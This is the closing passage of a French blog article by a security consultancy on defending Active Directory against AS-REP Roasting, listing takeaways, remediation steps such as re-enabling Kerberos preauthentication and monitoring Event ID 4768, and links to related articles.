- **La vulnérabilité est évitable** : Dans la majorité des cas, la preauth peut être réactivée sans impact
- **L'audit préventif est essentiel** : Identifier et corriger les comptes vulnérables avant qu'ils ne soient exploités
- **La défense en profondeur fonctionne** : Combinaison de configuration sécurisée, mots de passe forts, MFA, et monitoring
- **La détection est possible** : Event ID 4768 avec Preauth Type 0 est un indicateur fiable
- **La remédiation doit être rapide** : Reset password + réactivation preauth + MFA

En 2025, avec la sophistication croissante des attaquants et l'importance critique d'Active Directory pour les opérations métier, une approche proactive et structurée de la sécurité AD est indispensable. AS-REP Roasting, bien que technique, doit faire partie intégrante de votre stratégie de défense et de vos audits réguliers.

Prochaines Étapes Recommandées

1. **Audit immédiat** : Exécutez le script PowerShell pour identifier les comptes vulnérables dans votre environnement
2. **Correction rapide** : Réactivez la preauth sur tous comptes non-critiques (avec validation métier)
3. **Compensation pour comptes critiques** : FGPP renforcée (20+ caractères) + MFA obligatoire
4. **Déploiement du monitoring** : Configuration des alertes Event ID 4768 dans votre SIEM
5. **Audit récurrent** : Automatisation mensuelle de l'audit des comptes avec preauth désactivée
6. **Formation des équipes** : Sensibilisation IT/SOC à AS-REP Roasting et autres attaques Kerberos

Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et Kerberos :

- Kerberoasting : Extraction et Crack des TGS
- Pass-the-Hash : Réutilisation de Credentials
- Golden Ticket : Persistance Ultime dans AD
- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

← Retour au Top 10 des Attaques AD Article suivant : Kerberoasting →

> **Ressources open source associées :**
>
> - awesome-cybersecurity-tools — Liste de 100+ outils de cybersécurité

Ayi NEDJIMI Consultants — Expert cybersécurité offensive & intelligence artificielle

ayinedjimi-consultants.fr · ayi@ayinedjimi-consultants.fr